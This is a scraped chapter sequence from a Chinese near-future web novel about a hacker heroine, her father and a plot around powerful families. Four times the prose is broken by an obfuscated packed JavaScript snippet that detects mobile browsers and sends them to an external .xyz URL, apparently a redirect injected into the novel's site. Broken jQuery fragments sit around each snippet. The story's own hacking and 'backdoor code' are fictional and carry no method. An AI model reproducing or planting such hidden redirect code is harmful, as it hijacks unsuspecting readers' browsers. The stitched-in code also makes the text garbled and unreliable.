;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449325|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个字的认知。 “多的就不告诉你啦,嘻嘻。” “她和你出去这么多次从来没抱怨过,实在是毅力惊人,看来我还有很多要学习的!” 饶是痴心脾气这么好的人,也没忍住没好气地反驳了一嘴。 神明懒懒翻了个身,像是看不出现在什么情况一样继续在她脑子里唧唧歪歪:“喂,痴心,你这就有点卸磨杀驴了啊!你恭恭敬敬喊我大人的时候,我可没这样阴阳怪气你,你这人咋这样!” 痴心并不回答,只是笑容哀伤又明媚。 神明趴在她脑袋里,终于感知到痴心脑海里划过几道新的心绪,跟着她一起无声地笑起来。 “痴心,我现在哭的话,算不算你脑子进水啊?不然怎么有人脑子画面能是一边房子着火,一边草长莺飞啊?” 痴心:…… 至少他不怪罪。 ………… 3月33日,何朴主动联系面具,言明自己虽然没查出孟弈三人的关系,但误打误撞撞见3月32日帕利蒙拉半夜私下见孟弈的情景。 面具在思索后决定盯梢帕利蒙拉。 孟弈比沃尔的威胁更大,帕利蒙拉和孟弈这种野心勃勃的人见面不会有什么好事。 相较之下,帕利蒙拉或许能成为她看清孟弈的突破口。 考虑到34日上午面试回声,下午要到海弄掉包机械神明的安排,只得让仓鸮使用影子替她蹲点两日。 成功于34日下午将机械神明安插进洛克斐宅邸后,35日,面具顶替仓鸮影子的工作,开始暗中盯梢帕利蒙拉行踪。 与此同时,痴心协助她侵入了帕利蒙拉和孟弈住所的监控,同时监视两边情况。 3月35日9:00 帕利蒙拉从写字楼后门离开,直奔洛克斐庄园去见沃尔。 同时间,痴心收到了面具要求调查的信息。 她这几天依旧在埃森照顾父亲,毕竟刚被神明下完精神暗示,两道外来的精神指令冲突听起来就很吓人。 手环消息提示音通过精神链接在她的脑海里响起,痴心只好暂停了与父亲的对话。 “是你的朋友找你了吗?” 痴心叹了口气:“是实习,mentor给我安排了新的工作。” “嗯,你的事重要,爸爸不打扰你了。”父亲笑眯眯地比了个鼓劲的动作,“加油闺女,你肯定会做的很好!” 痴心神情复杂地点头。 父亲醒来后就像变了一个人,比以前更随和、更乐观。她不知道究竟哪一个才是父亲原本的模样,也不敢探究是不是脑机和精神绑定太深,被抑制后父亲的精神也受到了影响。 那种熟悉又陌生的怪异感让痴心很难适应。 如果是以前的父亲,她绝对不敢当着他面对他撒谎,因为感觉一下就能被看透,就像是上次发信息似的。 但现在的父亲让她觉得……他是真的老了。 即便神明已经尽可能地小范围地扭曲他的认知,脑机对父亲精神上的损伤依旧是不可逆转的。 但他仍是想把一切最好的捧给自己的那个父亲。 这就足够了。 25. 第二十三场 如果徒劳无益何以执迷 3月35日21:04 【山莲】:帕利蒙拉和沃尔在庄园会面,能知道具体情况吗? 【鲸镜】:我和神明不在场。 【鲸镜】:需要契机才能把她送到沃尔身边,具体内容我会试着打听,但不能保证。 【山莲】:明白,我会转达。万事小心。 3月35日21:07 【山莲】:神明还未就位,情报一时半会拿不到。 【Cover】:1 痴心打开墨隧界面,想从中看看有没有隐藏线索。三个小时后,她伸了个懒腰,打算去冰箱里找点吃点,结果一出门就撞见父亲在沙发上打瞌睡,头一点一点像是小鸡啄米。 “爸,您怎么在这睡着了?”痴心连忙上前摇了摇他的肩膀。 父亲被痴心的声音吵醒,茫然地看着痴心,眼里的光都是浑浊迷蒙的。 即便如此,男人依旧下意识扭头看向厨房的方向,迷迷糊糊抬手指向厨房台上的瓷碗:“啊……哦,我给你做了点双皮奶,怕你弄太晚出来饿。这不等了你会儿……就在那儿呢。” “爸……” 父亲先糊了把脸,对着痴心笑起来。 “这公司太没有人性化,一点自己的时间都没有,爸爸还等你领回来个男朋友看看呢,这样下去你哪有时间干这些闲事,不好不好。” 痴心一时语塞,有些没招地撇了撇嘴。 这话题变换的也太快了吧。 “哎呀,爸爸,这种事您就别操心那么多了,我会自己平衡事业和生活的。” 父亲敏锐地挑眉:“咦,闺女,你这不会是有情况吧?” 痴心啊了一声:“没有没有,哪有这么快,我还要给老师帮忙、刷绩点、打比赛、写论文、做实习……大家都是那么优秀的人,我也不能被落下呀。” “你愿意靠自己的努力是好事,但别忘了爸爸也在努力为你提供更好的平台。如果是为了不让自己的青春后悔,那么你可以把辛苦和疲惫当成必要的经历。”父亲笑着摸了摸痴心的头,“但如果只是为了得到什么,那我也希望我的孩子可以不用再体会爸爸这一代披星戴月的苦,你可以不吃苦就获得想要的经验与能力的。” “爸……您能给我提供什么呢?”痴心小声问。 她想知道父亲的脑机被抑制后精神究竟被影响成了什么模样。 “爸爸呀——遇到了很好的贵人。只要爸爸努力为她工作,就能让你过上和四大家族孩子一样的生活。” “那样的工作一定很辛苦吧?”痴心继续试探道,“爸爸,我们可以一起努力的,我不需要您独自承受呀。” “不辛苦的,那些事对爸爸而言不算难的,只是有些……” 男人眼神飘忽一瞬,大脑一片空白。 流畅的言语突然卡住,像是组织语言的功能突然失效了一样。 “奇怪,我怎么记不大清了……”又想了半天,他什么也没想起来,索性傻呵呵笑着唬弄过去,“你看,不是什么难事,爸爸都不记得具体事项了,看来不需要什么脑子。” 痴心沉默了。 “好了,快去吃双皮奶吧,吃完赶紧睡觉。哎呀,怎么还哭上啦。”男人好脾气地抹去女儿的泪水,“爸爸没骗你,真的不辛苦。你看看,这要是你妈妈还在肯定要怪我把我们宝贝招哭了。” 听到逝去的母亲,痴心再也忍不住抽泣出声。 如果妈妈在的话,肯定不会让爸爸为了她走上那样的道路…… 爸爸也不会变成如今的模样…… “叮咚。” 又是新的消息。 痴心抹了抹眼泪,开启手环。 3月36日0:33 【Cover】:孟弈宅邸监视到一个男人离开。他很谨慎,伪装过自己,监控只拍到了极其模糊的背影。调查清楚他的身份。 【山莲】:好。 痴心推开父亲:“不早了,您也该休息了。我吃完双皮奶就去睡觉。您早点休息,晚安。” “晚安,宝贝。”男人笑着回到屋中。 痴心一边洗漱一边将监控导入,让模型自己对比,试图找到更多有效数据。 但男人好像对每个摄像头的位置都熟悉至极,她匹配了各个可能暴露他行踪地摄像头,没有任何一帧画面和这个人有关。 连一点相关行程画面都捕捉不到,更不用提调查身份了。 回声那边由于情报图中的背影过于模糊,也爱莫能助。 只说看起来熟悉,大概是四大家族核心成员。 但很明显这是条没什么含金量的情报。 六小时后,痴心醒来回到沉金,在面具家开始工作。 高强度筛选了一天墨隧信息后,行动再度以查询未知男人的身份无果告终。 3月37日 “前一天的调查没有任何收获,今天继续!” 怀抱着对徒劳无功努力的热忱期待,痴心摩拳擦掌地打开墨隧水贴界面。 一些娱乐灌水的讨论和小委托通常发在这个页面,有时那些细碎的对话对情报工作的展开有奇效。 她每天要打开刷一遍的。 【墨隧管理员呢!怎么还不实现区域使用权限禁止的功能!老子不想再看见沉金帖子了!】 【沃尔今天死没死。】 【腰链帮那帮人都他爹的脑子有病吧!】 她专注地快速往下划拉各种水帖,大部分都是底利马帮派成员们发泄负面情绪的帖子。 【肯高我恨你,你自己不看工作餐,丢了要员工承担损失,黑心公司!】 “咦?” 痴心点进去。 【1L】:我们公司餐也被偷过,但公司没让员工赔……心态贴主。 【2L】:一楼你打错字了。 【3L】:加魔·穗号22***04,看百万主播劲!爆!热舞!寂寞少!父!性感小!哥!还有不同款式挑选,速加!! 【4L(贴主)回复1L】:那很好了,费可的工作餐这几年太容易被偷了…… 【5L】:费可贴滚出墨隧!! 【6L回复5L】:费可贴滚出墨隧!! 【7L回复1L】:费可人也滚出墨隧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449326|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 下面都是一群暴走的底利马人讨伐的消息了,帖子不一会就被举报删除了。 这也是为什么水贴频道里的帖子大多充满暴戾情绪的原因之一。 被底利马偷走的盒饭…… 痴心随意记下这种看似小而无用情报,继续向下划,又看到了一个奇怪的帖子。 【胆小慎入!!!孤儿院灵异事件!!!】 【1L(贴主)】:定位在沉地西,歌莎孤儿院。前段时间孩子们的旧衣服一夜之间不翼而飞,都是比较旧的衣服,没人会要的。孤儿院位置又离底利马位置很远……哦,还有一个同事在事发前一天突然就辞职了,精神特别亢奋,看起来可吓人了,天天嘴里念叨各种只言片语,啥也听不懂。有人能分析怎么回事吗,我要不要换个地方工作啊…… 【2L】:哈,帕利蒙拉偷了给那群ltp剪成花送去了吧!除了圈名声就是豢养的把戏,他们不就好这个吗。 【3L回复2L】:那可不一定,有人好的是何朴那口。 【4L回复3L】:砍一刀。 【5L回复4L】:砍一刀。 【6L】:加魔·穗号22***04,看百万主播劲!爆!热舞!寂寞少!父!性感小!哥!还有不同款式挑选,速加!! 【23L】:按贴主说的,你们位置离海弄区更近,如果只是偷物资,帮派没有必要去这么远。监控有什么信息吗? 【31L(贴主)回复23L】:没有任何可疑人员,晾衣房的位置没有监控……一切都很诡异,我都不敢去了…… 【32L】:哎呦呦,晾↓衣↑房↗好小众的词,这不是我们底利马的私网吗,管理员呢,怎么什么人都往里放。 【33L】:沉金贴滚出墨隧!! 【34L回复33L】:其实……很多底利马人以前也是沉地出身,大家没必要这样攻击吧…… 【35L回复34L】:呦呵,何朴孙子来了,维护联邦有责,孙承爷业呀! 【36L】:沉金贴滚出墨隧!! 痴心叹了口气。 这个帖子还好一些,没有被举报下架。但是除了极个别分析的人以外,更多的底利马人还是倾向于在墨隧宣泄自己的情绪。 她继续下滑,注意到了一个没什么点击量的帖子。 【委托:调查费可窍浮茶公司财报】 这种委托也往墨隧下吗? 被墨隧帖子同化了的痴心在心里小声诽谤。 底利马的水土应该不养审计吧…… 不过正是这种不同寻常让痴心疑惑点进帖子。 除了层主隔一会就自己顶楼以外,根本没人回复。 她一看,委托费40墨点。 “……” 40墨点,也就是底利马小瓶饮用水的费用,贴主小数点点错了吗? 痴心好心地在帖子下回复。 【13L】:贴主,委托费是不是打错了,而且这种委托在墨隧基本没有人接的。 出乎痴心意料的是,贴主好像一直在等人回复,她刚发完贴主就回了消息。 26. 第二十四场 未来宁可失语 墨隧提示:用户【一天唯心八杯水】(委托:调查费可窍浮茶公司财报贴主)向您发来私信。请谨慎提防陌生人私信,避免被杀。 痴心借着消息提醒直接跳转过去。 【一天唯心八杯水】:谢谢你提醒。我是第一次用墨隧,不太清楚多少委托费合适。我哥哥最近接了很多公司财报的委托,特别忙,我想帮忙但是没有什么钱…… 痴心点开对方的个人界面。 今天刚注册、无信息隐藏、除了一条委托外界面空空如也、没有自己帖子以外的评论。 言行一致。 痴心迟疑了一会。 【洞穴之外】:方便问问都是什么公司吗,我认识一些人,也许可以帮到你。 【一天唯心八杯水】:我记不太清,除了窍浮茶以外,应该还有统宇和什么达利吧? 【洞穴之外】:凯恩达利? 【一天唯心八杯水】:嗯,好像是这个名字,抱歉,我真没印象了。 这就是情报! 窍浮茶、统宇、凯恩达利,都是与孟家关联紧密的公司。 【洞穴之外】:这单我接了,委托之后就把梯子卸了。我问两句话你就什么都说了,一点防备心也没有,还是个学生吧,以后不要再来墨隧了。 【一天唯心八杯水】:!!! 【一天唯心八杯水】:猫猫头拥抱.jpg 【一天唯心八杯水】:太好了,谢谢你!我给你把委托金额调高一点。 【洞穴之外】:不用,你答应我委托完成之后卸载就可以了。 痴心毫不犹豫退出墨隧页面,对着被她和面具改良过的辅助智械安排起任务。 代码页面随着她的思维飞速地流动,她轻易切入与孟家有关企业的管理员权限中,专导出被修改过的数据,打包丢给人工智能分析。 果不其然,在她打包过去的30家企业里,有28家资金存在异常。 而后她开始追查异常资金的流向,在调查到了不知道多少个套壳公司后,最终,她的手环和辅助智械亮起同一个地点。 海弄区322号,某小型孟家工厂。 ………… 虽然面具让仓鸮盯着魏嘉禾,但根据一系列的监视的日志来看,仓鸮觉得孩子是个善良又有能力的小孩,威胁程度不到自己要时刻盯梢的地步。 为了证明自己的认真负责,他又看了一遍自己记得特殊事项。 3月28日,编程。 询问后展示代码,该代码可对帮派带回的食物进行分析,确保不会对基地孩子不利。 3月37日7:50,为大扫除,外勤任务安排比平日多两人。 小可儿主动帮忙,收拾床铺时,因过敏打喷嚏,遂请我帮忙打扫角落灰尘。 其余未记录时间,均无异常行为。 嗯,再看一遍还是没有问题。 不过这是面具的要求,所以仓鸮觉得一定是自己有什么没有注意的地方。 他绝不会放松警惕! 3月37日11:22 早让被外派的孩子们带着食物回到基地,经过了食检设备,将三箱食物放在地上。 魏嘉禾绕到箱子一侧,掀开最上方的箱子盖清点了一遍数量,确认无误后宣布开饭。 她拿起小刀切开其中一个铁盒子:“是肯高的公司餐。” 小孩发出欢呼声。 “好耶,我喜欢吃这个饭!”豆子大声嚷嚷道。 一旁眼睑发肿的小女孩,被豆子一嗓子吓了一激灵。 “豆子,你小声点,吓了小可儿一跳。”魏嘉禾瞪了他一眼,“还不道歉?” “哦哦,小可儿对不起,我不是故意的。” “没事的豆子哥哥。”小可儿凑到魏嘉禾身边,“嘉禾姐姐,我还是不舒服,可以先不吃吗?” “嗯,那你就先回去躺一会,等好点再吃。” 仓鸮看着魏嘉禾一边安慰小姑娘一边组织小孩排着队取饭。孩子们的行动有序又流畅。很快,除了被魏嘉禾划开随手放在一边的盒子外,箱子里就只剩了最后两份。 一份是小可儿的,一份是他的。 魏嘉禾将一只盒子递向仓鸮:“诺,你的。” 仓鸮摇摇头:“我要你的那份。” 德行。 魏嘉禾翻了白眼,拿起一边的盒子塞到仓鸮手里。 “和面具一样毛病多,有病!” 仓鸮继续摇头:“不是这个。” “你找茬是吧!不想……” “最上面的箱子左上角有标记,你第一个打开的盒子也在左上角,还有一道不明显的竖道提示。我看到那张纸条了,交出来,魏嘉禾。” “别在这发癫,你自己多想了。” “交出来,或者我叫面具来底利马让你交?” 魏嘉禾深呼吸,任命地从袖子里甩出一张已经被揉皱了的纸条:“交交交,我交你祖宗,你就看吧!还面具,具你姥爷!” 仓鸮抓住纸条,纸条上写着三个大字: 下三腰。 很有底利马水平的暗号。 “下午三点到腰链帮,你们合作了什么?” “衣服,给他们的衣服。”魏嘉禾吊儿郎当地指着吃饭的孩子们。 仓鸮狐疑地打量着魏嘉禾,魏嘉禾见状也不惯着,当即没好气地用刚好仓鸮能听见的音量低声骂了一句:“给面具当狗上瘾。” 仓鸮不是很在意。 他是正常人,不会对这种事上瘾,既然不是事实,那她说什么都不重要,他也没必要生气。 任务才是第一位的。 再说了,又不是给别人当狗。 “是吗,那我下午和你们一起去。”仓鸮神色如常道。 魏嘉禾呵呵一笑:“随便啊。” 3月37日15:00 仓鸮和魏嘉禾带着几个小孩抵达腰链帮。 一听“禾姐”到了,腰链帮的成员立刻态度优良地搬来了两个箱子,一点多余的废话都没有,甚至几个人见到魏嘉禾后表现得还十分客气,又是点头有事哈腰的。 不知道以为魏嘉禾是什么底利马小皇帝巡视来了。 “东西都在里面了,禾姐。” 仓鸮抢先一步开箱。 衣服。 他又不信邪地打开另一个箱子。 还是衣服。 仓鸮抓起衣服往下翻了一层又一层。 上上下下、里里外外,除了小孩的旧衣服,没有任何其他的东西。 一旁小喽喽弯着腰向魏嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449327|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾凑过一个脑袋,一脸不解:“禾姐,这是干啥呢?” 魏嘉禾冷笑一声:“疯狗找屎呢。” 仓鸮盖上盖子,回头看向魏嘉禾:“走吧。” “哟,不用再看看了?”魏嘉禾冷嘲热讽一句,招呼身旁的孩子,“没听到吗,人家发话同意咱们走呢。” 仓鸮无声地站在一旁,不对魏嘉禾的讽刺做出一点反应。 “切。”魏嘉禾小声道,“这点和面具倒是像。” 3月37日15:20 底利马小基地后巷,几个孩子站在一起。是因为过敏留下的小可儿和主动请缨留下照顾人的豆子,还有几个年纪比较小的孩子。 他们堆作一团,像是在等什么人。 “不怕吗?”一个孩子小声说。 豆子潇洒甩了甩头发:“怕什么,还记得禾姐讲过的故事不?底利马的孩子死了再投胎也还会回到它的怀抱,咱们这是给下一轮的自己刷buff呢!” 几个帮派成员匆匆在一旁卸了东西,四处张望一番,终于发现了聚在一起的孩子们,一路小跑过来。 小可儿敏感眼尖,发现来人,瑟缩着抓住豆子肩膀,躲到了他身后。 “小可儿是哪个?”帮派停在孩子堆前,“禾姐让我给你送过敏药。” 3月37日19:20 痴心正在调整人工智能参数让对方进行对四大家族信息的整理,忽然听见开门的声音,还没警戒,就看见了熟悉的脸。 仓鸮风尘仆仆地赶到,痴心惊讶开口:“你怎么来了?” “面具让我带你去找你父亲。”仓鸮抓住痴心就往车库走,“车上再说。” “什么父亲,什么意思?” 消息太过突然,痴心半天都没有什么实感。 直到仓鸮猛地关上车门,“砰”的一声,痴心才反应过来仓鸮的话里藏着什么潜台词。 “我父亲怎么了?出什么事了?” 仓鸮一脚踩满油门,这是才开口解释道:“18:44,面具给我发消息,让我立刻带着你找你父亲,具体原因没说,后面也没有再发消息。” 一句话立刻将痴心的心夹在了火上烤。痴心不得不迫使自己动脑子转移注意力。 盲目慌张没有意义,她至少得弄清楚为什么。 “17:23,面具根据我给的情报出发去海弄的孟家工厂调查了。这时候突然发消息给我们,会不会是她在海弄发现了什么?” 仓鸮觉得痴心说的很有道理。 毕竟分析形势、制定策略这都不是他擅长的事,他只负责听从命令再执行就可以了。 他侧了眼睛,余光中看到痴心好像很慌张的样子,于是学着魏嘉禾的样子斟酌着开口安慰:“海弄常有信号屏蔽区域,避免干扰仪器精度,估计她那边的情况不方便发消息。你先别着急,我尽量快点开。” “嗯,谢谢。”痴心说着,用手环打了个电话给父亲。 无人接听。 她的心渐渐沉了下去。 “没人接听吗?”仓鸮一边猛踩油门一边分神注意着痴心这边,“说不定……说不定睡着了,或者出去忘带了……” 痴心勉强笑了笑:“那面具为什么喊我们去……没关系,仓鸮,你专心开车吧,我没事。” 27. 第二十五场 人力亦可错位 3月37日20:54 痴心和仓鸮到达埃森的公寓,发现父亲失踪。 3月37日20:56 “给面具发消息。” 痴心忧心忡忡地原地坐下,打开手环投影功能,在屏幕上调取父亲手环的位置信息,同时在分屏查看周围监控。 “发完消息可以去周边问问信息。” “好。”仓鸮关上手环按着痴心说的立刻下楼。 痴心不安地搅动着手指。 是面具在海弄发现了什么吗,和洛克斐也有关吗?还是目前需要他们一起调查什么?她为什么只给仓鸮发消息,真的是通讯问题吗,会不会遇到什么事了…… 大量疑问在她脑中风暴般袭来。 3月37日21:01 【半拉苹果】:我刚问了保安,他们是八点换班,现在的这些保安没看见你父亲出门,他应该是八点以前离开的。 【山莲】:好。 只有一个简单的时间范围,可具体什么时候离开、为什么、去哪里,这些问题都没有答案。 痴心反复呼吸,让自己冷静下来。 她想到海弄和洛克斐关系匪浅,也许回声会知道什么,于是又向回声讯问海弄的信息。 她没有别的办法,现在她只有自己和仓鸮两个人能用。面具没有回复信息,她只知道这一个回埃森的指令,其他什么也没有。 面对无力感还要保持理性,这是不是也算面具的常态?她怎么做到的呢?人怎么能对着自己的人生放任旁观呢? 痴心不知道。 她只能不断跟自己说继续下去,做了总比不做要好。 3月37日21:02 【山莲】:最近洛克斐有什么重要安排吗,尤其是海弄区。 回声没有回复。 痴心又问了仓鸮的进程。 3月37日21:03 【山莲】:怎么样? 【半拉苹果】:周围有些在运动的大爷大妈,我去问了,但今天还没有人看到过你父亲。 【山莲】:回来吧,再留在外面也没什么意义了。 【半拉苹果】:好。 手环定位显示在家里,痴心在房间翻了一圈,没看到手环。AI还在处理分析她导入的监控,目前还没有她父亲的消息。 3月37日21:08 手环震动,痴心急切地查看消息。 【鲸镜】:零点十五在埃森的塞墨勒酒吧见面。 痴心一阵失望。 她等不及想知道哪怕一点情报也好,而不是像现在这样。 “我父亲不见了,面具她……” 她输入到一半,又将信息一字字删掉。最终,她只输入了一个字发了出去。 【山莲】:好。 3月37日21:19 痴心父亲提着菜进门时,被突然回家的女儿一个飞扑撞懵了。 “您去了哪里,怎么也不说一声!” 听到女儿带着哭腔的质问,男人慌张地放下菜筐。 “你不是回去了吗,我想着自己学着做点吃点,等你放假回来给你做。怎么了哭上了……哎呀,好了好了,是爸爸的错好不好,别哭了。” 仓鸮接到手势退至暗处,化作一道影子离开。 痴心揉着眼睛起身:“我回来拿落下的东西,看您不在家担心坏了。现在大家都让智械配送菜,您怎么还自己去了……” “他们挑的万一不好怎么办,还是自己买踏实。”男人挠了挠头。 痴心见状放心下来:“嗯,您没事就好,不说了,我还得赶回去,明天还要继续实习呢。” “好,快回去吧,路上注意安全。” 痴心又看了一眼菜篮。 “对了,您的手环呢,给我看看,定位一直显示在家里,但我没找到。” 痴心的父亲一拍脑门,伸出手,腕子上挂着一条崭新的手环。 “我忘了和你说了,我之前的手环坏了,刚刚出去还换了新的。” 痴心哑然,抬起自己的手环和他的手环碰了一下,将后门代码传过去:“好了,定位软件下载好了,我先走了。” 回到车上,痴心已经完全冷静下来了。 细节上的冲突浮出水面,引向了新的问题。 “如果只是暗语,她不会暴露你,直接和我说就好了,说明她的消息就是要我们来找人。” “嗯嗯,那我们现在去哪里?” 仓鸮也听不大懂痴心叽里呱啦说的,直接询问自己需要做什么。 “我想想……” 如果是为了找人,那仓鸮为什么来?他们还需要在埃森调查或是等什么吗?不发给她的原因在于“她”出现问题了吗? 是……父亲吗? 不对,如果她的通讯有问题—— 3月37日21:26 【山莲】:地点变更,换我们第一次见面的场所。 【鲸镜】:可以,但推迟一小时。 【山莲】:没问题。 痴心回完消息毫不犹豫把手环关机。 现在最好关上手环,等重新设置完防火墙再打开,有什么问题等和学长见面再说。 面具那边有问题都会联系仓鸮,所以仓鸮被安排在自己身边…… 这样就说得通了。 如果去找父亲发现对方就好好的呆在家,那么她理所当然的会想通面具真实的意图。只不过父亲恰好出去,导致双方的真实意图错位了。 痴心叹了口气:“走吧,我们先回金街。” ………… 回声神色凝重地退出和痴心的联系界面。 他立刻就通过痴心更换地点的说辞察觉到她被人盯上了,而且是通讯设备的问题。 所以预留的一个小时得找人抹干净他在酒吧的安排,还得尽快安排会所,保障他们的对话安全。 他无意识地摩挲起左手的拇指。 除了微晶公馆的情报,海弄没有特别要关注的。 面具真正想要的东西自己这段时间里已经全都整理完了,但是要不要给,他还是有些犹豫,他还需要再考虑考虑。如果有别的选项,他还是希望能选另一条路。 至少面具从未和他开口要过东西,她也可以有别的安排…… 3月37日18:46 面具到达痴心情报中的海弄区孟家工厂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449328|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 3月37日19:08 找到突破口,并进入开始搜查。 地上区域只有24小时不停运转的亚富机器人,听机器行动的回音疑似在下方有较大空间的地下室。面具轻而易举地放倒了不太聪明的机器人,辨别足音很快找到了地下入口。 宽敞的地下室里空无一物。她蹲下摸了一把地面,指尖只有一层极薄的灰尘小颗粒。地面存在划痕,并且痕迹较新。根据灰尘和划痕的情况判断,一周内疑有大宗货物搬离。 地下室检查完毕,她重新回到地面调取了机器人的记录仪管理权限。 七日前这些机械正式接入工厂内部网络,员工们打开机械后就纷纷离去,整个工厂只剩下一个员工坐班。说明从七日前,这家工厂已经实现全智械托管了。 机械接管的第二天,亚富机器人早早打开了地下室,整个地下室里装满了同一种贵金属。亚富机器人们开始分工协作将这些贵金属运输到外面的货车上,陆陆续续搬运了好几天,直到昨天才彻底搬离完毕。 面具查了货车的车牌号。 车子隶属于亚富科技名下,这是一辆亚富内部的运货车。 筛选这一堆机器的记录日志的时间相对来说长一些。她已经分屏倍速了,但还是花了两个小时。 面具陷入沉思,重新拉大了贵金属的影像记录。 根据颜色和纹路判断,这种特殊的贵金属通常被放在真空保险箱储存——这家工厂建立十几年,规模不大,即便产品需要用到这种材料,其一不应消耗这么多,其二设施应完备。 记录仪内却显示地下室长时间地直接贮存了大量贵金属。这代表地下室的存在就是为储存,贵金属也并非少量暂时的消耗。 至于亚富…… 根据车辆来回往返运输的频率可以肯定贵金属的归属是亚富科技。但痴心追踪了孟家相关企业很久才查到这个小工厂,毫无疑问是孟家在收集这种贵金属。 那么亚富在其中扮演什么角色?存在交易可能性,那么贵金属的真正所有权是谁? 意味着亚富的背后也是孟家?或是双方有所合作?或者亚富监守自盗? 面具将脑海中所有的情报与猜想结合起来。 亚富是186年前建立的,和墨隧重组的时间接近。从技术角度来看,两者技术水平类似,功能实现上最终都可以归结到大数据收集…… 就像仓鸮在底利马后巷捡到海弄区机器,假如这身后是同一批人,那么痴心找到线索是巧合吗? 如果墨隧背后还有第三方势力,它的目标是什么?神明? 以墨隧对四大家族的态度,可以理解为这是一种隐晦的帮助,或者更为准确的: 筛选? 另一方面,孟家掌握着费可。帕利蒙拉和孟家的合作是私下的,而后帕利蒙拉去洛克斐…… 那个一直查不到身份的男人是谁? 面具有一种预感,她只差一个关窍、一个足以串联起所有线索的答案。 但存在一个不得不被重视的问题:如果只差一环所有阴谋就都会水落石出,那他们还有时间吗? 不能坐以待毙,她得主动出击。 她已经有人选了。 28. 第二十六场 理想主义之殊4 3月38日21:42 面具到达了海弄区最豪华的研究所外围,海弄议员库莲·洛克斐的研究所。 回声的这位姑姑作为议员出席各个会场时都是双目无神的样子,比起政客,她更像一个被赶鸭子上架的傀儡。 她本人是人脑领域的科研专家,或者说,科学狂人。替沃尔做事的原因不是为了权力,而是因为她研究所需要的设备、资金和第一手实验体只有洛克斐有能力提供。 选取库莲的理由很简单,甚至不是回声能给她办通行证件那么复杂的原因。 只是因为这样的人最适合威逼。 而她恰好比较擅长这种事。 21:17,她从孟家工厂离开,直奔研究所进行实地考察。 实地考察的主要内容是计算各绑架点匹配时间、和整栋大楼用以后期监视的必要微型监控位置。 准备工作做完,面具打开手环给痴心发消息,让她有事打电话,自己睡觉期间没办法及时回复。 消息也发完,面具毫不犹豫往北找了个烂尾工程休息。 好,三点三十三。到五点半,她还能睡两个小时,足够了。 3月37日20:03 底利马小基地内已经空无一人,两个看起来也不过十一二岁出头的孩子站在小基地后巷。 女孩子神情坦然,男孩子又显得决绝。 “我不能让他们自己去,徐启明,你要留下来照顾好剩下的孩子。” “不行,你比我更适合底利马,我去吧。魏嘉禾,你留下来。”面对对方的沉默,徐启明放低了声音,像是一种恳求,“就让我去吧。” 魏嘉禾握紧拳头又松开,像是被无力扼住喉咙。她不知道该如何反驳,可又不愿意就这么放手。 徐启明明白。 此情此景,还能说什么呢? 所有布局就差临门一脚,难道要魏嘉禾现在大发善心地推翻一切吗? 然后让底利马再等上一个又一个三百年,熬到他们都死了,小可儿和豆子他们也变成了联邦重压下的行尸走肉? 即便魏嘉禾愿意,他也不会愿意的。 但魏嘉禾天生就是一个好胜心强的小孩,她不愿意向不甘心低头,硬着心肠绞尽脑汁也要组成一句话讲给他听。 “我一定会让底利马的未来更好,我向你许诺,一定!” 她自己都不曾注意到她的声音带着怎样的颤音,可徐启明注意到了。 “我相信你,只要是你想做的,一定会实现。”徐启明的手微微颤抖,声音哽咽,“魏嘉禾,替我照顾好我妈和我弟。你……一路保重。” 说完,他不给一点自己和对方反悔的机会大步离开后巷。 魏嘉禾低下头,像是在掩盖自己的表情。 在他与她擦肩而过的瞬间,他听到魏嘉禾低声喃喃,似是自言自语。 “不必抬头寻找天上启明星,那颗星星已在我心中攀升不停。” 那点关于死亡的恐惧变成一把干柴,对于上联的愤恨、对于底利马的期望点燃野火,顷刻间将一切燎明。 情感变成继续向前的动力,毅然带着老成少年本该有的意气无畏前行。 魏嘉禾在后面默默跟着,直到徐启明的身影消失在集装箱,才转过身向着另一边的腰链帮早已准备好的专机走去。 “禾姐,所有人员均已就位。”下午凑过去和魏嘉禾聊天的小喽喽对着魏嘉禾鞠了一躬,“我们随时可以出发。” “嗯,进去吧。” 